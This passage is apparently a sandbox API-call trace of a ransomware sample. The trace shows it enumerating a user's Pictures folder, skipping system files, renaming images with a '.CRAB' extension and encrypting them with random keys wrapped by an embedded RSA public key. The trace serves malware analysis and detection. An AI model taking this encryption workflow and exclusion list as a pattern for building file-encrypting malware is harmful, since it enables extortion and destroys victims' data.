	[0132.282] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.284] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ec90) returned 1
	[0132.284] CryptGetKeyParam (in: hKey=0x320ec90, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.284] CryptEncrypt (in: hKey=0x320ec90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.285] GetLastError () returned 0x0
	[0132.285] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.285] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e9e0) returned 1
	[0132.289] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ed50) returned 1
	[0132.289] CryptGetKeyParam (in: hKey=0x320ed50, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.289] CryptEncrypt (in: hKey=0x320ed50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.289] GetLastError () returned 0x0
	[0132.289] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fg4AafVi dOFU.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fg4aafvi dofu.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.290] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.290] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x8104, lpOverlapped=0x0) returned 1
	[0132.297] VirtualAlloc (lpAddress=0x0, dwSize=0x8110, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.298] VirtualAlloc (lpAddress=0x0, dwSize=0x8110, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.299] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.299] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff7efc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.299] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x8110, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0x8110, lpOverlapped=0x0) returned 1
	[0132.300] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.300] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.304] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.304] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.304] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.305] CloseHandle (hObject=0x3f0) returned 1
	[0132.305] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.305] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.305] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.306] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.306] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.306] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.307] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.307] lstrcmpW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2=".") returned 1
	[0132.307] lstrcmpW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="..") returned 1
	[0132.307] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="FJ7wrPWRRAVh3Qa.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif"
	[0132.307] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.307] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif") returned 67
	[0132.307] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif") returned 67
	[0132.307] lstrlenW (lpString=".gif") returned 4
	[0132.307] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.308] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.308] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif") returned 67
	[0132.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif") returned 67
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="desktop.ini") returned 1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="autorun.inf") returned 1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="ntuser.dat") returned -1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="iconcache.db") returned -1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="bootsect.bak") returned 1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="boot.ini") returned 1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="ntuser.dat.log") returned -1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="thumbs.db") returned -1
	[0132.308] lstrcmpiW (lpString1="FJ7wrPWRRAVh3Qa.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.308] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.309] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB") returned 72
	[0132.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fj7wrpwrravh3qa.gif")) returned 0x20
	[0132.309] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif", dwFileAttributes=0x20) returned 1
	[0132.309] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fj7wrpwrravh3qa.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fj7wrpwrravh3qa.gif.crab")) returned 1
	[0132.310] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.311] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB"
	[0132.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB.CRAB"
	[0132.311] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e7c0) returned 1
	[0132.314] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.315] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.315] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.315] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0132.315] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.315] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.318] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.318] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.319] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.319] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.319] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.319] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.319] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.319] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e738) returned 1
	[0132.322] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e610) returned 1
	[0132.322] CryptGetKeyParam (in: hKey=0x320e610, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.322] CryptEncrypt (in: hKey=0x320e610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.323] GetLastError () returned 0x0
	[0132.323] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0132.323] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0132.326] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e6d0) returned 1
	[0132.326] CryptGetKeyParam (in: hKey=0x320e6d0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.326] CryptEncrypt (in: hKey=0x320e6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.327] GetLastError () returned 0x0
	[0132.327] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.327] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\FJ7wrPWRRAVh3Qa.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fj7wrpwrravh3qa.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.327] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.328] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xe5ce, lpOverlapped=0x0) returned 1
	[0132.359] VirtualAlloc (lpAddress=0x0, dwSize=0xe5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.360] VirtualAlloc (lpAddress=0x0, dwSize=0xe5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.362] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.362] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff1a32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.362] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe5d0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xe5d0, lpOverlapped=0x0) returned 1
	[0132.362] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.363] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.367] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.367] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.368] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.368] CloseHandle (hObject=0x3f0) returned 1
	[0132.368] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.368] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.368] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.369] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.369] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.370] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.370] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.370] lstrcmpW (lpString1="fY16nlf YYJGpFu.png", lpString2=".") returned 1
	[0132.370] lstrcmpW (lpString1="fY16nlf YYJGpFu.png", lpString2="..") returned 1
	[0132.370] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="fY16nlf YYJGpFu.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png"
	[0132.370] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.370] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png") returned 67
	[0132.370] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png") returned 67
	[0132.370] lstrlenW (lpString=".png") returned 4
	[0132.370] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.371] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.371] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png") returned 67
	[0132.371] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png") returned 67
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="desktop.ini") returned 1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="autorun.inf") returned 1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="ntuser.dat") returned -1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="iconcache.db") returned -1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="bootsect.bak") returned 1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="boot.ini") returned 1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="ntuser.dat.log") returned -1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="thumbs.db") returned -1
	[0132.371] lstrcmpiW (lpString1="fY16nlf YYJGpFu.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.371] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.372] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB") returned 72
	[0132.372] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fy16nlf yyjgpfu.png")) returned 0x20
	[0132.372] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png", dwFileAttributes=0x20) returned 1
	[0132.372] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fy16nlf yyjgpfu.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\fy16nlf yyjgpfu.png.crab")) returned 1
	[0132.374] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.374] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB"
	[0132.374] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\fY16nlf YYJGpFu.png.CRAB.CRAB"
	[0132.374] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e6b0) returned 1
	[0132.377] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.378] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.378] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.378] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.378] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.378] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.378] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.381] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.381] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.382] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.382] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.382] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.382] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.382] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.383] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.388] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320ea90) returned 1
	[0132.388] CryptGetKeyParam (in: hKey=0x320ea90, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.388] CryptEncrypt (in: hKey=0x320ea90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.388] GetLastError () returned 0x0
	[0132.388] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.388] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0132.391] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e710) returned 1
	[0132.391] CryptGetKeyParam (in: hKey=0x320e710, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.391] CryptEncrypt (in: hKey=0x320e710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.392] GetLastError () returned 0x0
	[0132.392] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
